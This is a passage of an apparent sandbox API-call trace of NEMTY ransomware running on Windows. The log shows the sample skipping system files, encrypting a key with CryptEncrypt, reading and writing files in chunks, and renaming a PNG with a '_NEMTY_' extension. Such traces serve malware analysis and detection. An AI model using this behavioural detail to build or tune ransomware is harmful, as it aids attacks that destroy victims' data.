(in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0091.875] CloseHandle (hObject=0xffffffff) returned 0 [0091.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0091.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0091.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0091.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0091.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0091.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0091.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0091.876] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png._nemty_kgobjgd_")) returned 0 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0091.876] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0091.876] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0091.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0091.877] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0091.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0091.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0091.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0091.878] Sleep (dwMilliseconds=0x5) [0091.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea69a770, dwHighDateTime=0x1d561e7)) [0091.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea69a770, dwHighDateTime=0x1d561e7)) [0091.888] GetLastError () returned 0x5 [0091.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0091.888] GetLastError () returned 0x5 [0091.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0091.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0091.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0091.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0091.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0091.889] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0091.889] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="UaqqlezEVfUyElas6fKi396ovm7xPQNzkGzYEIh80geMPbpfvrnMzXwMr6E/OgUk\r\nTRR25OzUFRCdEWovc32LWvvEZb5NU/aA91W5uUULEeC+KuFM5lWXkXq6jQpOZOO9\r\nW1MNgY/tSsiQpWO2PtA6n0Dmp+lTi2F19xXf9R3Mru5ftcUF/av56inx0Mv96Ybb\r\nR4La0YScu44kS9VJXuNWhyNZ7qIByLF8uRpSkfTfx8jlEx/hOyQOUAchYrVAFFUp\r\nqNAk1QnbqJWZuaPcEAD2auqeb8otmPbk+Oa//24A7EDjy+D1tOJlVxEzwDXBnbVE\r\n66Jx2SfXq7WZhj0+0i68eQ==\r\n", pcchString=0x653e91c) returned 1 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0091.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0091.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0091.889] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.889] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0091.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0091.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.987] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0091.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0091.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, 